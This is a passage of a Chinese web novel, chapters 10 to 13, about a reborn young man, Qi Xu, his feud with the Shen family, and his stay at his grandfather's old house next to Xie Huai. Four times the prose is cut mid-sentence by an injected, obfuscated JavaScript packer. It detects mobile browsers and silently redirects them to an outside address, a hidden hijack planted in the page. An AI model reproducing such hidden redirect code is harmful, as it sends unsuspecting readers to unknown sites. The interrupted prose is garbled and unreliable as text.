对他的态度转变也有意思,不知道的还以为真是小孩,你和他好我就不跟你玩了。 戚栩察觉到谢淮的眼神有些奇怪,过于炽热,让人无处遁形。 他随口一问:“你过生日没糊蛋糕?” 谢淮配合着他的回答:“今年生日没糊,下一年生日你来帮我糊。” 戚栩冷笑:“我来糊你。” 谢淮无所谓地耸肩:“也行,记得带上生日礼物。” 戚栩面无表情:“……我和你很熟?” “现在确实不是很熟。” 谢淮留意到方嘉城变化莫测的神情,“方叔,你继续。” 谢淮和沈家刚回来的孩子怎么这么熟络,方嘉城想起沈谢老家是旧交,莫非是沈老出面。 他对戚栩的态度温婉了许多:“听阿淮说他和你在阳台看到了休息室发生的一切,也录下了视频。” 戚栩没那么多精力和方家纠缠下去,他将视频删头去尾,只剩下拍到两人走出休息室画面的视频转交出去。 这件事还未得到解决,方嘉城为了给涉及此事件谢,沈,宋三家一个交代,以今晚有篝火晚会邀请生日宴的少爷小姐留宿方宅。 佣人带着戚栩到别院,已经有人入住别墅。 徐亦辰看到戚栩进来,不自觉地欢呼鼓掌:“让我们欢迎地表最强反手剪刀哥。” 在场三人,就数方倩最卖力地鼓掌。 戚栩无语地看着他们。 方倩,十年后方氏集团旗下时尚娱乐分公司巾帼不让须眉的女总裁。徐亦辰,成立的科技公司成为行业龙头,登上经济头条。蒋子慕,新一代的青年写实派画家,担任国家美术学院特邀副教授。 如今这三个人穿着睡衣,像三只泼猴似的,在沙发上蹿下跳,当成弹床蹦跶,戚栩都想替沙发报警。 徐亦辰没得到戚栩的回复,委屈巴巴:“这么高冷的吗?” 谢淮紧跟其后,看到戚栩杵在门口不进去:“怎么,想当门神?” 徐亦辰再次热烈鼓掌欢迎:“让我们欢迎地表最强雷锋哥。” 好事成双,两人一起站在门口当门神。 谢淮了解徐亦辰欢脱的性格,绝对不会只欢迎他一个人。 他好奇地问戚栩:“你的title是什么?” 戚栩瞥了他一眼:“请说中文。” 谢淮失笑:“理科状元的英语全部还给老师了吗?” 戚栩不好奇谢淮怎么知道他的成绩,谢家神通广大,谢淮动动手指就能查到戚栩十八年的人生,况且出高考成绩那天大有人在,沈家人多且口杂,必定会传了些消息出去。 谢淮没什么理由查他,所以应该是从沈泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122222|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 予嘴里得知。 戚栩还没什么反应,徐亦辰应激了:“啊——现在理科状元这么好当吗?这种非人类学的头脑我身边竟然有两个!国家实验室的电话是多少,我要为国家贡献两个新鲜的脑子。” 方倩嫌弃地看着他:“你也该解剖一下脑子,看看里面是不是没了小脑干。” 一旁蒋子慕冲到戚栩面前,眼神热情接近疯狂:“戚同学,我能邀请你当我裸体模特吗?我对你的身体构造很感兴趣,可以掀起衣服让我看一眼吗?” 戚栩:“……” 这几个新贵年轻的时候好像都不太正常。 他离开这个非人类客厅,朝楼梯走去,上了两个台阶才问:“我的房间在哪里?” 作为主人家的方倩说:“三楼第一个。” 戚栩说了声谢谢自顾自地上楼。 徐亦辰瘫坐在沙发上:“最强反手剪刀哥真的很高冷。” 谢淮听到这个title想到当时戚栩利落地反手动作,行云流水非常赏心悦目。 蒋子慕后知后觉,问:“我是不是吓到戚同学了?” 方倩说:“应该是,哪有第一见面就让人家脱衣服。” 蒋子慕眼神中有些落寞:“好吧,我应该忍着,在第二次见面的时候才说。” 方倩,徐亦辰,谢淮三人才是真正的青梅竹马,在一个院里从小玩到大,蒋子慕是方倩的表弟,初中时父亲因职务调动借住到方家,跟着方倩和两人玩在一起。 今晚在方家的事闹得很大,连家里人都打电话过来询问怎么了,徐亦辰哪知道怎么了,一眨眼戚栩和宋若明就打起来了,再一眨眼人就掉泳池里了。 他问:“阿淮,今晚的事有结论没有,真是宋若明栽赃陷害?” 谢淮云淡风轻地上楼:“暂时还没有结论,不过今晚应该有人睡不着。” 佣人已经把房间调到合适的温度,谢淮体质热,在中央空调控制器上调低了两度。 他单手解开了衬衫两颗扣子,拿出手机打了个电话。 电话接通的瞬间,他问好:“舅舅,晚上好。” “今天晚上本来挺好的,你给我打电话就不好了。”秦靖看到来电显示的那一秒就知道读书时间到此结束,放上书签合起书本。 谢淮当没听不见这句话:“那我长话短说不打扰舅舅的休息时间,帮我查一个人。” 秦靖哼笑了一声:“不知道的还以为你是我的领导人。” 坐到秦靖这个位置,要是真是他的领导,那得是最顶层的位置,只有那么几个。 话是这么说,他还是开口问:“谁?” 谢淮似乎等着这句话,说道:“被沈家刚接回来的亲生儿子,戚栩。” 秦靖知道谢家和沈家是世交,要是以深交程度,不比方家和徐家。 “给我个理由。” 谢淮有理有据:“爷爷让我多照看他,不知底细要是照看了个黑心肝的,得不偿失。” 秦靖对这个表面看起来人畜无害,翩翩有礼的外甥一句话都不信,白皮黑芝麻馅儿,这才是真正的黑心肝。 “你手底下的人呢?” 谢淮打开阳台门走了出去,看向隔壁紧关的门:“我手底下没人。” 这下是彻底睁眼说瞎话,秦靖明着说:“是没人,还是他们的职位太低,起不了什么警示作用。” 从小到大能引起他这个外甥兴趣的东西没几样,非常明确自己想要什么,这是对沈家感兴趣了? 看来最近闹得沸沸扬扬的沈家抱错之事怕不是这么简单。 轮到谢淮笑了出声:“舅舅,你不能让我找外公外婆吧。” 动不动就告家长,秦靖怕了这个外甥,应下:“这点小事就别拿去打扰老人。” 谢淮悠闲地敲了两下栏杆,隔壁房间已经关灯了。 “麻烦舅舅了,舅舅晚安。” 11. 第 11 章 当晚戚栩洗完澡直接睡下,前一晚和李开恺兴语音聊公司初建聊到大半夜,刚毕业的大学生精力旺盛,一有空就逮着他说自己的宏图理想。 他呢,18岁的身体,28岁的芯,真熬不动,上一世熬了一个星期就要了他的命。 加上今晚过得还挺费劲的,不是说打人费劲,而是装清纯无害的18岁费劲,由此可见他还是适合当莽夫。 起床的时候戚栩发现手机被打爆了,得亏睡前调了个静音,睡了个安稳觉。 全都是沈家人给他打的电话和信息,最后一个电话是凌晨两点沈枫凯给他打的。 戚栩没打算回,随意丢下手机想到阳台点香,然后发现这不是在自己的房间,那只能多转几圈手串以表敬意。 没一会儿,门外响起了敲门声。 戚栩打开门,佣人拿着今日换洗的衣物站在门口。 “戚少爷,这是今日换洗的衣物。” 最上面放着是昨晚在阳台没来得及拿的外套,阳台上只有两个人,他忘了拿,那拿的人是谁不言而喻。 今天的一整套衣服完全复刻昨天戚栩的穿衣风格,休闲装,尺寸也很合适,各大家族里不乏细细观察的全能管家,来者是客,必不可怠慢。 楼梯口传来脚步声,餐厅里的三人不约而同地看过去,今天反手剪刀哥依旧是那么受欢迎。 方倩看着戚栩眼睛都不眨一下,一旁徐亦辰阴阳怪气:“至于么,这么大个白毛帅哥在你面前你不看,非得看刚睡醒的,头发也不整理一下。” 方倩白了他一眼:“你懂个屁,这叫慵懒,看的就是气质。” 徐亦辰不服输地说:“我也很慵懒。” 方倩呵呵笑了两声:“你是纯懒。” 徐亦辰寻求兄弟的认可:“阿淮你怎么看。” 谢淮闻言才抬眸看向戚栩,睡得凌乱蓬松的头发,半垂眼睛也不知道看不到路,被压红的耳朵尖随着动作若隐若现。 “用眼睛看。” 徐亦辰:“……说什么废话。” 过了一晚上蒋子慕仍是那么的热情:“戚同学,早上好。” 方倩也和他说:“早上好。” 戚栩睡懵了似的愣了两秒才回:“早上好。” 打完招呼随便找了个位置坐下。 “哦?你没走。”谢淮放下手中的勺子,“昨晚沈枫凯连夜来接沈泽予,还以为你跟他们走了。” 戚栩慢慢抬眸看向他,眼角还存在着困意:“这么清楚,你昨晚下来亲自欢送他们?” 沈泽予和谢淮走得近,说不定还真有这个可能。 谢淮轻嗤:“那不至于,你哥给我打了电话。” 戚栩想起那通未接电话,他着实有些佩服谢淮凌晨两点起来接电话。 “你比我像他弟。” 谢淮大喘气似的补充:“我没接。” 戚栩:“……” 这天聊得他瞬间不困了。 戚栩扫了一眼餐桌上的早餐,中西结合,拿起碗舀了一碗鱼片粥。 徐亦辰见状,咬着香肠随口说:“你和阿淮一样喜欢吃鱼片粥?” 戚栩对此表示:“桌上还有其他选择吗?” 徐亦辰开始报菜名:“果酱土司,三明治,沙拉,华夫饼,小笼包,豆浆,牛肉面,烧麦。” “我是说没有其他粥。”戚栩习惯早上吃热乎的,吃不惯西式冷碟。 “阿淮常来这边,管家知道他的口味,为他制定。”方倩问,“你的口味是什么,我替你转告给他,下一次你来就能吃你喜欢吃的东西。” 戚栩反问:“还有下次?我以为你们家不会再欢迎我的到来。” 谢淮看了他一眼没说话。 徐亦辰用奇怪地眼神看着他,似乎不明白他为什么会有这种想法。 “你有这种想法很危险知道不知道,你是不是不准备去我家了,我18岁半生日宴还想邀请你呢。” 戚栩对徐亦辰一年要过两次生日不给予评价,就是对他邀请自己的理由好奇:“为什么邀请我?” 徐亦辰在谢淮和戚栩两人身上来回扫了眼:“你们不挺熟的么,我也想跟你熟一下。” 就在戚栩想开口问他哪只眼睛看到他俩熟了,就听到谢淮说:“想熟就下锅煎两分钟。” 话音刚落,方倩举手:“戚栩,我也想和你熟一下。” 蒋子慕更是表示:“加一。” 这么多人想和他熟,油锅都放不下了。 戚栩侧头看着谢淮,眼神示意让他管管。 谢淮拿起纸巾擦了擦嘴:“看我干什么,我和你不是已经熟了么,你还想更熟?” “闭嘴。”戚栩开始晕这个字了。 熟不熟这个问题很难得出结论,就算温水泡青蛙,也会熟,时间问题而已。 昨晚突发事件经过一晚调查已经有结论。 方倩见此刻人齐,开始说昨晚的始端:“始作俑者是宋若明,他昨晚承认借此栽赃陷害戚栩,至于原因他没有说,只是说一人做事一人当。” 原因是什么大家心知肚明,宋若明和戚栩甚至没见过,哪有什么恩怨,无非就是中间人说了几句委屈的话,有人当真了。 最后宋若明一人承担责任,让某个人完全脱身。 戚栩对过去的事并不关心,头也没抬吃他的粥。 徐亦辰一脸不忿地说:“说得轻巧,一人做事一人当,他不来和戚栩道歉吗?还有他把昨晚的生日宴弄得一团糟,我还没和他算账。” 方倩对宋若明行为和态度非常唾弃:“人昨晚已经被宋家接回去,两家长辈达成共识,将这件事定义为小孩子不懂事的玩闹。” 今天过后她已经把宋若明拉入黑名单,不会再单独邀请到家里。 徐亦辰气炸了,拍案而起,砰地一声,戚栩刚夹起的烧麦被震掉在桌上。 动不动就拍桌,什么毛病。 戚栩继续夹起桌上的烧麦被谢淮抬手阻止:“吃碟子里的。” 戚栩疑惑地看向他,得到回应。 “今早蒋子慕在这里放了几只彩铅。” 蒋子慕想起来这件事:“对,我拿着画笔到餐厅喝水,随手放在餐桌上。” 不知道画笔放在餐桌上和不能捡起餐桌上的烧麦有何关系,在所有人关切的眼神下,戚栩还是夹起碟子上的烧麦。 徐亦辰见戚栩还有心思用餐,着急地问:“你打算就这样放过宋若明?” 戚栩提前十年让这群人知道宋若明的真实面目,从此之后,宋若明在这个圈子没有立足之地。 至于放过,昨晚他按着宋若明在地上撞的两下够他慢慢修复。 戚栩吃完烧麦才说话:“徐少爷有何指教?” 徐少爷兴奋地说:“我想把他拉出来揍一顿。” 然后被方倩一掌拍了后脑勺:“真怀疑你是不是成年人,动不动就喊打喊杀。” 刚过完一个月成人生日的徐亦辰委屈地捂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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司机开得稳,睡神上身的戚栩又开始困了,眯了一路,睁开眼睛时已经到沈家大门。 戚栩刚想降下车窗,车子顺利通行。 安保人员认识这辆车,又或者这辆车以前登记过。 沈泽予和方倩是同学,应该是搭乘过这辆车。 抵达别墅大门,戚栩朝司机说:“叔,你辛苦了,回去的时候注意安全。” 司机大叔朝戚栩微微一笑:“这是我应该做的。” 戚栩推开车门,发现门口站着沈泽予和曾云,他对上了某个人期待欣喜的眼神。 怎么可能是期待他回家。 沈泽予看到戚栩从车上下来,脸上的笑容瞬间凝固,咬牙切齿地冲上前,恨不得将戚栩拆骨入腹:“你怎么坐上了阿淮的车!” 戚栩了然扫了一眼劳斯莱斯的车尾,怪不得可以顺利通行,原来是谢淮的车。 他也明白沈泽予为什么这么生气,沈家只有一个人能和太子爷共乘,那就是沈泽予。 现在多了一个搭便车的闲杂人等,是要生大气。 戚栩脸上没有什么多余的情绪,单手插兜略过怒发冲冠的沈泽予,淡淡地一句:“滴滴叫的。” 12. 第 12 章 不管沈泽予信不信,戚栩也没别的解释,大可试试滴滴打车能不能打到莱斯莱斯。 曾云在门口静静看了戚栩好一会儿,似乎也想不明白为什么他会从谢家的车里下来。 戚栩经过她的时候,曾云才开口:“小栩,昨晚怎么不和泽予一起回来?在方家住一晚打扰主人家了。” 昨晚沈枫凯连夜将沈泽予带回家,曾云和沈卓海在家里等着,小儿子一回到家看到她就抱着她哭,控诉着戚栩的所作所为。 曾云安慰着小儿子,看向沈枫凯,只见对方摇了摇头没说话。 “小栩呢。” 不知道这个名字有什么威胁性,沈泽予竟然抖了抖,他说:“在生日宴出了风头哪还想回家,现在整个圈子都知道他戚栩的名号。” 沈家人没感到任何意外,先前的担心果然成真了,戚栩在方家生日宴闯了祸。 戚栩说:“方家主动邀请我住下,怎么算打扰。” 他轻飘飘扫了一眼沈泽予没继续往下说,继而轻笑了一声。 沈泽予想起宋若明被打害怕地缩了缩,昨晚被盖上蛋糕的触感记忆犹新,还有周边的取笑他的笑声,让他彻底在圈子里丢了面子。 沈泽宇愤怒地跑进门,曾云急切地跟了两步,但又停了下来,对戚栩说:“小栩,你是不是错怪泽予,他说了昨晚发生的事与他无关。” 今早方家人致电,陈诉了昨晚发生的事,生日宴上宋家少爷宋若明不知轻重的开玩笑,和戚栩产生了肢体冲突,属于小孩子玩闹的范畴。 戚栩语气淡淡:“不是错怪,这是他该的。” 说完后他自顾自进去,想回房间补上今天那支香。 客厅里还挺人齐,沈桌海和沈枫凯都没有去公司,不知道的还以为父子两欢迎他回家。 “站住。”一家之主沈卓海忽然发威,“你昨晚是不是动手打了宋家二少宋若明。” 戚栩敢作敢当:“嗯,打了。” 沈卓海又问:“还把人家推下泳游池?” 戚栩点头:“嗯,推了。” 沈卓海见戚栩这副死猪不怕开水烫的模样气不打一处来,他听闻宋若明昨晚被紧急送进医院,小打小闹无关紧要,但他这个儿子不受管教,在戚家村养成了为非作歹的习惯,动手本来就是错误的。 “等会跟我去医院向宋家道歉。” 戚栩听笑了。 沈卓海脸上露出愠色:“打人了还不知道悔改。” “这还真是改不了。”戚栩明确地告诉他,“我也不想改。” 沈卓海气得大喘气,被曾云轻拍着后背安抚。 沈枫凯皱眉:“怎么跟爸说话的。” 戚栩经提醒好声好气和沈桌海说:“你也别急,身体是自己的,气坏了我可不负责任。” 沈卓海听到这一番话更气了,脸上充血像猪肝似的。 沈枫凯对昨晚事件比沈桌海还要清楚,毕竟他亲自到方家接人。 听到戚栩在生日宴动手那一刻,沈枫凯心里顿时觉得果然是他这个弟弟做得出来的事,毕竟十几岁就对自己的养父大打出手。 然而再听说是宋若明对戚栩栽赃陷害,强行按上偷窥的罪名时,怪不得被戚栩打。 他不是拎不清事的人,宋若明平时和沈泽予走得近,要是说这件事和沈泽予没关系的话不可能。 但沈泽予是他从小看着长大,本性并不坏,心里有点不满,发点小脾气,有点小心机人之常情。 至于戚栩,当场发现了诡计还算有点聪明,作为沈家人没有吃亏,但不应该动手,还当着这么多人下了宋若明的面子,以后两家处境很尴尬。 沈枫凯故意不开口替戚栩说话,搓搓这个野小子的锐气。 他作为长子身上有着教育幼弟的责任,只要戚栩向家里服个软,好好听他们的话,这件事一笔勾销。 曾云柔声道:“老沈,算了,小孩子小打小闹而已,小栩没受伤就好。” 沈泽予还在一旁说风凉话:“他是没受伤,宋若明都破相了,流了满脸的血。” 曾云闻言脸色一白,似乎没想过这么严重。 戚栩拉长了音调:“怎么,你也想试试?下次把蛋糕换成砖头。” 沈卓海见戚栩还在恐吓,刚想说话,沈枫凯拧眉呵斥:“泽予,关于昨晚的事你不应该现在说风凉,要是戚栩被栽赃,多少风言风语指向我们沈家。” “哥!”沈泽予听到呵斥先是气愤,再是委屈,“关我什么事,又不是我干的,是宋若明擅自主张。” 这会儿沈卓海和曾云才想起来询问昨晚事情的全程经过,得知宋若明的所作所为后,沈卓海作为一家之主放不下面子,仍然板着个脸。 曾云看戚栩的眼神则是越发愧疚。 这个孩子什么都不说,都回来大半个月了,对她还是仍然像陌生人,问什么答什么,不问就不说。 “小栩,你怎么都不说呢,你是不是觉得我们不会站在你这边。” 沈枫凯不知什么原因也不悦起来:“你是不是没有把我们当做家人。” 见鬼,这种狗血戏码怎么发生在他的身上。 不说曾云,上辈子沈枫凯哪会对他说有没有把他当做家人这种恶心的话。 鸡皮疙瘩都起来了。 戚栩对此无关耸肩:“你们要是这样想的话我也没办法。” 戚栩没再管他们,往房间里走,待他上楼梯后,传来沈泽予向曾云服软撒娇的声音,还有沈枫凯耐心的教育。 * 不知是不是戚栩不听管教挑衅了沈卓海一家之主的地位,翌日戚栩就被通知到收拾行李到沈家老宅住几天,颇有种发配边疆的意思。 这个决策更得戚栩的意,离开沈家耳根清净,也不再需要去应付这里的每一个人,假装母慈子孝,兄友弟恭。 不知道流放多久,戚栩索性收拾了一个月后带上大学的行李。 沈枫凯见戚栩拎着一个行李箱下来,像是迫不及待离开这个家一样,不由得堵心:“拿这么大个行李箱干什么?你要去住几天。” 戚栩懒得搭理他,把行李递给司机。 曾云嘱咐了戚栩几句话,说到了老宅要叫爷爷等等,反正就是要听爷爷的话。 戚栩应下后径直上了车辆,对这个家一点都不留恋。 要是说对这里有什么不舍的话,卧室里的按摩浴缸泡澡还挺舒服的。 曾云忧心地看着离去的车辆,对丈夫说:“老沈,小栩性格野了点,不至于送去老爷子那边管教,这孩子满打满算只在家里住了半个月,我也没怎么好好和他说过话。” 沈卓海说:“我哪敢擅自把人送去老宅,是老爷子让李叔联系我,把戚栩送到他那里几天。” 曾云闻言怔愣了下:“老爷子是想孙子了吗,怎么也没把泽予一起叫过去。” 在车上的戚栩并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122224|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道去老宅的原委,他细想了一下,前世好像也有过送他去老宅这件事,发生在他被宋若明栽赃陷害成功后。 那时他怼天怼地,比现在还不服管教,对沈卓海这个提议嗤之以鼻,搞了一出离家出走的戏码,到了大学开学才露面。 28岁的戚栩不禁感叹,18岁时的他真有精力。 沈家老宅距离沈家有一个小时的车程,不算远,也不算很近。 沈老爷子沈德宏有三个子女,沈卓海是二儿子,他有一个大哥和一个妹妹。 公司虽然交给沈卓海,其余两位儿女也在公司有职位,更别说有多少子孙辈,成年后个个都在公司有分红。 这位沈家主心骨心底也有一丝传统,孙子必须留一个在身边教养到成年。 沈德宏太过威严,沈枫凯和沈泽予都与他不太亲近,沈枫凯还好,在老宅待到了14岁,对老爷子尊敬更多。 沈泽予自小就把用在沈家夫妇那套放在老爷子身上,发现一点都不管用,每天从书房练字完都是哭着出来。 沈家夫妇觉得老爷子的教育不适合沈泽予,在小儿子六岁的时候决定搬出老宅。 沈枫凯上了高中之后住校,也不完全算在沈老爷子身边待到成年。 从此老爷子对沈卓海这个儿子没有什么好脸色,每年只是逢年过节,生日的时候见面。 上一世戚栩没和沈老爷子见过几次,每次见面这个老人都会叫他进书房,让他静下心练字,从一开始的不情愿到慢慢地接受,再到每次回老宅主动进书房练字。 偶然的一次回头,他看到满头白发的老人眼眶湿润地看着他。 这也是他们最后一次见面,半年后,老爷子因身体原因病逝。 到达老宅门口,戚栩拿着行李轻车熟路地进门。 李叔听到行李车轱辘的声音连忙出来,戚栩向他打招呼:“李叔。” 李叔听到问好惊讶了一番:“哎呦,小少爷还知道我这个老头。” 戚栩笑了笑没说话。 沈老爷子被人扶着走到前院,戚栩放下行李,和那双严肃却倍感熟悉的眼睛对视,两秒后恭恭敬敬地问好:“爷爷。” 沈德宏“嗯”了一声,转身回屋内。 李叔让人帮戚栩拿行李到隔壁院子,随后带着戚栩进屋。 茶桌上正在煮水,很明显准备泡茶。 戚栩坐在沈德宏对面,听到老爷子说:“听说你惹事了。” 戚栩笑笑,身上不见一丝戾气:“人不犯我我不犯人。” 老爷子混沌不算清明的眼睛生起了赞赏。 这么简单的道理小孩都懂,沈卓海夫妇却不懂,一昧责怪,就因为这孩子不是在身边教养,却忘那是他们的亲儿子。 先前老爷子得知换子事件承受不住入院,在医院又被沈卓海的一通“抱错”新闻气得血压升高,足足在医院住了半个月。 这孩子在外面受了委屈,回到家还要受委屈,沈老爷子一出院就让沈卓海把戚栩送他这里来。 老爷子说:“我这里没什么好玩的,我看你带了这么大个行李想要待几天。” 刚刚没回答沈枫凯的问题,现在戚栩回答了。 “待到这个暑假结束。”戚栩熟练地泡茶,为老爷子倒上茶,“爷爷会赶我走吗?” 老爷子看着面前飘起热气的热茶,鼻息重重地喷了下:“说是这样说,你们年轻人在我这里哪里待得住。” 13. 第 13 章 戚栩不但待得住,还主动进老爷子的书房练书法。 只是他刚接触书法,拿笔的姿势全然不对,点墨的时候又弄得到处都是,每天佣人都能在书房听到老爷子中气十足的怒骂。 “又错了又错了,都说了多少次,你那木鱼脑袋到底能不能开窍,是不是要罚你抄写才能记住。” “墨磨了吗,这么快就沾水,用白水写字啊,你能看到还是我能看到。” “哼,字倒是写得有模有样,以前练过?” 紧接着一把懒懒,听着吊儿郎当的声音传来。 “好久没练过了,可能是我天赋异禀,上上辈子是个书法家。” 啪地一声,敲背按摩锤打在□□的声响,空有声音,不见力度。 “油嘴滑舌,做人最重要谦虚,夸你一句怎么能顺着杆子往上爬。” “可能因为我上上上辈子是爬墙虎。” “你这小子,上上辈子,上上上辈子都让你说完了,那上辈子呢。” “喝了孟婆汤忘记了。” 两爷孙又开始斗嘴了,时不时传来老爷子听似骂声实则带着笑意话语,李叔在门口朝佣人摇了摇头让他们不要进去打扰。 小少爷来了之后,老宅每天都欢声笑语,再也不是死气沉沉。 晚上,李叔给老爷子整理被褥,一边说:“小少爷虽然是初学者,但人也沉得下心去学。” 老爷子哼了一声,缓慢道:“这小子讨骂而已,他拿笔姿势一看就知道学过,偏偏在我面前装作什么都不懂。” 李叔笑了起来:“小少爷那是喜欢您教他。” 这话说得老爷子心里舒坦,要是放在别人身上他还不乐意教。 老爷子轻咳了一声,语气重却不带怒气,反倒是对小辈的无奈宠溺:“混蛋小子。” 李叔想起了什么事说道:“明天谢老约了您喝茶,需要我通知小少爷吗?” 正在坐在沙发上看报纸的老爷子头也没抬:“不叫了,他起不来,年纪轻轻怎么这么多觉。” 他这个孙子上辈子可能是睡神转世,上午醒不来,唯有到了吃午饭的时间才起。 而且每天睡这么长时间看着依旧很困的样子,叫了老中医过来把脉,说戚栩气血不足,总结下来就是早产导致的体虚。 曾云下乡的时候是意外生产,孩子不足时间,等到回首都后,老爷子惦记这件事,特意派了人看孩子,被告知孩子身体健康。 一切都有迹可循,但大家都以为这个孩子是幸运降临。 戚栩在老宅住了一个星期,每一顿餐都会有补品,现在他一闻到药材的味道就反胃,但在老爷子的眼神逼迫下,不得不喝。 又是睡到大中午的一天,戚栩懒洋洋地从大床上起身,住了几天,戚栩发现老宅比沈家更好的地方,这床睡得比沈家舒服,还比沈家的大。 戚栩洗漱完之后到院子里上香,这已经成为他每天必做的事。 前几日老爷子看到后还打趣他,戴着沉香木,每天雷打不动地上香,比他这个八十岁活得更像老人。 老爷子为了他像年轻人一样活着,竟然让人在他的院子里安装了当下很时髦的运动器材,就是大街上打着全□□动口号,在公园,小区里那种黄色健身器械。 放在前院一看,更像养老院了。 还没有到午饭时间,戚栩站在漫步器械上,有一下没一下地动着腿,像刷微信运动步数似的。 两分钟后下来,他重新躺回藤椅,顺手拿了桌面上球抛着玩。 动过就算是运动。 他所住的是侧院,和正院走廊相通,院里有一棵几十年的金桂,现在不是开花的时间,但绿叶葱葱,树枝几乎撑满了围墙。 树荫下,阳光穿过树叶的缝隙,微风吹动,亮光晃了一下戚栩的眼睛,一个不小心用力了点,将球抛到树上。 他等了两秒发现没下来。 球卡住了。 戚栩不愿动弹,他抬头看了一眼树,手莫名有点痒,有那么一点想爬。 28岁戚栩不会干出爬树这些事,但18岁的戚栩可以。 他攀爬的动作并不熟练,胜在身姿轻巧,计算好每次落脚的位置,还算顺利抵达树干。 戚栩上树之后发现自己根本够不着球,再上去那细杆支撑不住他的重量,只好止步于此。 他又懒得爬下去找棍子,只好坐在树干等着佣人来他院子叫他吃饭,到时候让对方拿根棍子。 随便吧,坐在树上看风景也挺好的,戚栩仰着头盯着看那一片万里无云的天。 乍一看还以为他在等球自己掉下来,比守株待兔更胜一筹。 不多时,隔壁院子传来一道短促的笑声,肆无忌惮,生怕他听不见似的。 戚栩闻言看过去,意想不到的人出现眼前,谢淮坐在院子里,腿上还放着反盖的书本,也不知道在这里看戏看了多久。 徐亦辰嚷嚷了将近一个星期,满世界找不到的人,竟然躲在了这里。 谢淮扬眉:“守株待兔我看不到,今日倒让我见识了守树掉球,令人震撼。” 戚栩:“……” “让你目睹了历史性的一幕,作为答谢,那就给我找根棍子。” 谢淮还真去找了一根……拐杖。 他看了眼围墙又看了眼高处的戚栩:“你下来还是我上去。” 戚栩说:“我下来。” 戚栩从树干下走到围墙上,伸手接过谢淮手里的拐杖。 他本以为是一根普通的拐杖,拿到手细看,金丝楠木的柄身,杖首更是镶嵌了帝皇绿的玉石,这一根拐杖不知比树上的球贵了多少倍。 “少爷,你家没别的棍子了吗?” 语气多少带着些无奈。 谢淮贴心询问:“黄花梨木,紫檀,你想要哪个?” 他顿了下:“或者家法那条?” 一个比一个贵,戚栩手上像拿着烫手山芋似的,别无他法他只能硬着头皮爬上去把球打下来。 不得不说,贵有贵的道理,拐杖的手感非常好,一杆必中,戚栩把球打到了隔壁院子。 就在他开口叫谢淮把球扔过来之际,未见其药膳先闻味道,戚栩脸色一变,长腿再次跨上了围墙。 “小少爷,午饭还需要一会儿,先喝汤垫垫肚子,啊——”佣人看到戚栩爬到了围墙上惊呼,“小少爷快下来,危险。” 戚栩一看到那个炖盅慌不择路,一下从围墙跳到了隔壁院子。 又一阵惊呼,他的院子传来急匆匆的脚步和闹哄哄的声音。 戚栩不正不巧降落在谢淮身前一臂的距离,用拐杖稳稳地撑着身体。 两人身高只差个几公分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122225|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双目平视对方。 谢淮嘴角扯着笑意:“第一次见这么独特的拜访方式,不过还是欢迎来到我家。” 捡个球捡到别人家去,手里还拿着别人家六位数的拐杖,戚栩觉得自己像入室抢劫的。 自己院子的惊呼刚停下,这边院子又惊呼了一声。 “少爷,这是?” 谢淮转身吩咐:“午饭多备一副碗筷,有客人。” 南丰一直在屋里,也没见有客人来拜访,难不成从天而降。 他看了那位拿着老爷子最喜爱的拐杖的青年两眼,应下:“好的,我这就让人准备。” 戚栩皱眉:“我没说要留下来吃饭。” “午饭时间到别人家里不是来吃饭是来干什么。”谢淮走过去弯腰捡起那个红色的球,“真来捡球?” 说着,谢淮没把那球还给戚栩,反倒拿着进屋。 拐杖不拿,非得拿着他的球,戚栩擦了擦拐杖上的灰尘,跟着他进去。 屋内的佣人震惊地看着这位从后院进来的客人,是他们疏忽了,让客人走后门进来? 既然进来了,戚栩起了参观的心思,谢家老宅的装修风格和沈家截然不同,沈家庭院中西结合,谢家老宅那是百年老宅传承下来,具有韵味的中式建筑,每一处都透露出古老的气息。 这栋宅子每年应该要拿出不可估量的金钱出来维护,足以看出谢家对这座老宅的重视。 如果戚栩没看错的话,柜子放的一排都是能拿出去拍卖的古董。 还有桌上插花的花瓶,和秦越的古玩店没得比。 看着看着,戚栩走路的步伐都放轻了些。 谢淮没听到身后的脚步声,转头发现戚栩小心翼翼的程度就差踮起脚走路:“你是猫吗?” 戚栩说:“我是人。” 